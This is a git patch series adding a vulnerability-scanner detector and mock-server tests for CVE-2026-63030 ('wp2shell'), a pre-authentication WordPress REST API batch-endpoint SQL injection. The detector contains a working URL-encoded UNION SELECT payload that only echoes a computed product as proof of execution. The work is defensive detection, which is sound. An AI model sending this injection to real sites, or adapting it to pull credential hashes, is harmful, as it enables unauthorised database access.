From 7cb2ae7b07ff167fef821c4181be61f75a2202e1 Mon Sep 17 00:00:00 2001 From: alessandro-Doyensec Date: Mon, 3 Aug 2026 19:05:07 +0200 Subject: [PATCH 1/3] add: templated detector for wp2shell-cve-2026-63030 --- .../2026/WordPress_CVE_2026_63030.textproto | 95 +++++++++++++++++++ .../WordPress_CVE_2026_63030_test.textproto | 76 +++++++++++++++ 2 files changed, 171 insertions(+) create mode 100644 templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto create mode 100644 templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto diff --git a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto new file mode 100644 index 000000000..6e30b6083 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto @@ -0,0 +1,95 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +info: { + type: VULN_DETECTION + name: "WordPress_CVE_2026_63030" + author: "Alessandro Versari " + version: "0.1" + description: "Detects CVE-2026-63030 (aka 'wp2shell'), a pre-authentication SQL injection in the WordPress core REST API batch endpoint." +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "WORDPRESS_REST_API_BATCH_SQL_INJECTION" + } + severity: CRITICAL + title: "WordPress Core REST API Batch Endpoint SQL Injection (CVE-2026-63030 / wp2shell)" + description: "WordPress core versions 6.9.0-6.9.4 and 7.0.0-7.0.1 are affected by a pre-authentication SQL injection vulnerability, publicly disclosed as 'wp2shell'. The `/batch/v1` REST API endpoint allows an unauthenticated attacker to nest a request to `/wp/v2/posts` inside a batch request. Nesting the request bypasses the normal sanitization applied to the `author_exclude` collection parameter, which is concatenated unsanitized into the underlying SQL query, allowing an attacker to append a UNION SELECT statement. This lets an unauthenticated attacker read arbitrary data from the WordPress database, including user credential hashes from the wp_users table, and has been reported by researchers to be escalatable to remote code execution." + recommendation: "Update WordPress core to version 7.0.2 (or 6.9.5 on the 6.9.x branch) or later, as described in the official WordPress 7.0.2 security release." + related_id: { + publisher: "CVE" + value: "CVE-2026-63030" + } +} + +config: {} + +actions: { + name: "fingerprint_wordpress_batch_api" + http_request: { + method: GET + uri: "/?rest_route=/" + response: { + http_status: 200 + extract_all: { + patterns: [ + { variable_name: "wp_rest_namespace" regexp: "(wp.{1,2}v2)" from_body: {} }, + { variable_name: "wp_batch_namespace" regexp: "(batch.{1,2}v1)" from_body: {} } + ] + } + } + } +} + +actions: { + + # Nests a request to /wp/v2/posts inside a /batch/v1 batch request + # (bypassing normal `author_exclude` sanitization) and appends a 23-column + # UNION SELECT matching the wp_posts column order, so `SELECT {{ + # wp2shell_factor_a }}*{{ wp2shell_factor_b }}` lands in the `post_title` + # field (column 6) and is echoed back as "||{{ wp2shell_product_hex }}||". + # The two factors are multiplied by the SQL server itself so a match proves + # the query is actually parsed and executed. + name: "exploit_batch_v1_union_sqli" + http_request: { + method: POST + uri: "/?rest_route=/batch/v1" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: "{\"requests\": [{\"method\": \"POST\", \"path\": \"http://:\"}, {\"method\": \"POST\", \"path\": \"/wp/v2/posts\", \"body\": {\"requests\": [{\"method\": \"GET\", \"path\": \"http://:\"}, {\"method\": \"GET\", \"path\": \"/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x{{ wp2shell_date_hex }}%2C0x{{ wp2shell_date_hex }}%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+{{ wp2shell_factor_a }}%2A{{ wp2shell_factor_b }}%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x{{ wp2shell_date_hex }}%2C0x{{ wp2shell_date_hex }}%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500\"}, {\"method\": \"GET\", \"path\": \"/wp/v2/posts\"}]}}, {\"method\": \"POST\", \"path\": \"/batch/v1\"}]}" + response: { + http_status: 207 + expect_all: { + conditions: [ + { body: {} contains: "||{{ wp2shell_product_hex }}||" } + ] + } + extract_all: { + patterns: [ + { + variable_name: "sqli_marker" + regexp: "\\|\\|([0-9A-Fa-f]+)\\|\\|" + from_body: {} + } + ] + } + } + } +} + +workflows: { + variables: [ + { name: "wp2shell_date_hex" value: "323032302d30312d30312030303a30303a3030" }, + { name: "wp2shell_factor_a" value: "48271" }, + { name: "wp2shell_factor_b" value: "90007" }, + { name: "wp2shell_product_hex" value: "34333434373237383937" } + ] + + actions: [ + "fingerprint_wordpress_batch_api", + "exploit_batch_v1_union_sqli" + ] +} diff --git a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto new file mode 100644 index 000000000..756a0488d --- /dev/null +++ b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto @@ -0,0 +1,76 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "WordPress_CVE_2026_63030" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_http_server: { + mock_responses: [ + { + uri: "/?rest_route=/" + status: 200 + body_content: "{\"name\":\"Example Site\",\"description\":\"Just another WordPress site\",\"namespaces\":[\"oembed\\/1.0\",\"wp\\/v2\",\"batch\\/v1\"],\"routes\":{}}" + }, + { + uri: "/?rest_route=/batch/v1" + status: 207 + body_content: "{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"id\":999999,\"date\":\"2020-01-01T00:00:00\",\"title\":{\"raw\":\"||34333434373237383937||\",\"rendered\":\"||34333434373237383937||\"},\"status\":\"publish\",\"type\":\"post\"},\"status\":404,\"headers\":{}},{\"body\":[],\"status\":200,\"headers\":{}}]},\"status\":200,\"headers\":{}},{\"body\":\"\",\"status\":200,\"headers\":{}}]}" + } + ] + } +} + +tests: { + name: "whenPatchedWordPress_returnsFalse" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/?rest_route=/" + status: 200 + body_content: "{\"name\":\"Example Site\",\"description\":\"Just another WordPress site\",\"namespaces\":[\"oembed\\/1.0\",\"wp\\/v2\",\"batch\\/v1\"],\"routes\":{}}" + }, + { + uri: "/?rest_route=/batch/v1" + status: 207 + body_content: "{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"code\":\"rest_post_invalid_id\",\"message\":\"Invalid post ID.\",\"data\":{\"status\":404}},\"status\":404,\"headers\":{}},{\"body\":[],\"status\":200,\"headers\":{}}]},\"status\":200,\"headers\":{}},{\"body\":\"\",\"status\":200,\"headers\":{}}]}" + } + ] + } +} + +tests: { + name: "whenNotWordPress_returnsFalse" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/?rest_route=/" + status: 404 + body_content: "

404 Not Found

" + } + ] + } +} + +tests: { + name: "whenBatchApiUnavailable_returnsFalse" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/?rest_route=/" + status: 200 + body_content: "{\"name\":\"Example Site\",\"description\":\"Just another WordPress site\",\"namespaces\":[\"oembed\\/1.0\",\"wp\\/v2\"],\"routes\":{}}" + } + ] + } +} From 35b5cba382333c7d4240429eaa6ec3af49f25f32 Mon Sep 17 00:00:00 2001 From: alessandro-Doyensec Date: Mon, 3 Aug 2026 20:46:00 +0200 Subject: [PATCH 2/3] fix: main_id --- .../plugins/cve/2026/WordPress_CVE_2026_63030.textproto | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto index 6e30b6083..5d290296e 100644 --- a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto +++ b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto @@ -12,7 +12,7 @@ info: { finding: { main_id: { publisher: "GOOGLE" - value: "WORDPRESS_REST_API_BATCH_SQL_INJECTION" + value: "CVE-2026-63030" } severity: CRITICAL title: "WordPress Core REST API Batch Endpoint SQL Injection (CVE-2026-63030 / wp2shell)" From 9481600aac48a94b436c071d194b4e1e1fd9ca51 Mon Sep 17 00:00:00 2001 From: alessandro-Doyensec Date: Tue, 4 Aug 2026 11:17:52 +0200 Subject: [PATCH 3/3] edit: use post id 0 to avoid collisions --- .../plugins/cve/2026/WordPress_CVE_2026_63030.textproto | 7 +++++-- .../cve/2026/WordPress_CVE_2026_63030_test.textproto | 2 +- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto index 5d290296e..bc68691ba 100644 --- a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto +++ b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030.textproto @@ -51,7 +51,10 @@ actions: { # wp2shell_factor_a }}*{{ wp2shell_factor_b }}` lands in the `post_title` # field (column 6) and is echoed back as "||{{ wp2shell_product_hex }}||". # The two factors are multiplied by the SQL server itself so a match proves - # the query is actually parsed and executed. + # the query is actually parsed and executed. The forged row (and the + # /wp/v2/posts/ vehicle used to smuggle it) both use post ID 0, which + # is never a real WordPress post ID (auto-increment starts at 1) to avoid + # any collision with real content. name: "exploit_batch_v1_union_sqli" http_request: { method: POST @@ -59,7 +62,7 @@ actions: { headers: [ { name: "Content-Type" value: "application/json" } ] - data: "{\"requests\": [{\"method\": \"POST\", \"path\": \"http://:\"}, {\"method\": \"POST\", \"path\": \"/wp/v2/posts\", \"body\": {\"requests\": [{\"method\": \"GET\", \"path\": \"http://:\"}, {\"method\": \"GET\", \"path\": \"/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x{{ wp2shell_date_hex }}%2C0x{{ wp2shell_date_hex }}%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+{{ wp2shell_factor_a }}%2A{{ wp2shell_factor_b }}%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x{{ wp2shell_date_hex }}%2C0x{{ wp2shell_date_hex }}%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500\"}, {\"method\": \"GET\", \"path\": \"/wp/v2/posts\"}]}}, {\"method\": \"POST\", \"path\": \"/batch/v1\"}]}" + data: "{\"requests\": [{\"method\": \"POST\", \"path\": \"http://:\"}, {\"method\": \"POST\", \"path\": \"/wp/v2/posts\", \"body\": {\"requests\": [{\"method\": \"GET\", \"path\": \"http://:\"}, {\"method\": \"GET\", \"path\": \"/wp/v2/posts/0?author_exclude=0%29+UNION+SELECT+0%2C2%2C0x{{ wp2shell_date_hex }}%2C0x{{ wp2shell_date_hex }}%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+{{ wp2shell_factor_a }}%2A{{ wp2shell_factor_b }}%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x{{ wp2shell_date_hex }}%2C0x{{ wp2shell_date_hex }}%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500\"}, {\"method\": \"GET\", \"path\": \"/wp/v2/posts\"}]}}, {\"method\": \"POST\", \"path\": \"/batch/v1\"}]}" response: { http_status: 207 expect_all: { diff --git a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto index 756a0488d..21ee4491c 100644 --- a/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto +++ b/templated/templateddetector/plugins/cve/2026/WordPress_CVE_2026_63030_test.textproto @@ -19,7 +19,7 @@ tests: { { uri: "/?rest_route=/batch/v1" status: 207 - body_content: "{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"id\":999999,\"date\":\"2020-01-01T00:00:00\",\"title\":{\"raw\":\"||34333434373237383937||\",\"rendered\":\"||34333434373237383937||\"},\"status\":\"publish\",\"type\":\"post\"},\"status\":404,\"headers\":{}},{\"body\":[],\"status\":200,\"headers\":{}}]},\"status\":200,\"headers\":{}},{\"body\":\"\",\"status\":200,\"headers\":{}}]}" + body_content: "{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"responses\":[{\"body\":\"\",\"status\":200,\"headers\":{}},{\"body\":{\"id\":0,\"date\":\"2020-01-01T00:00:00\",\"title\":{\"raw\":\"||34333434373237383937||\",\"rendered\":\"||34333434373237383937||\"},\"status\":\"publish\",\"type\":\"post\"},\"status\":404,\"headers\":{}},{\"body\":[],\"status\":200,\"headers\":{}}]},\"status\":200,\"headers\":{}},{\"body\":\"\",\"status\":200,\"headers\":{}}]}" } ] }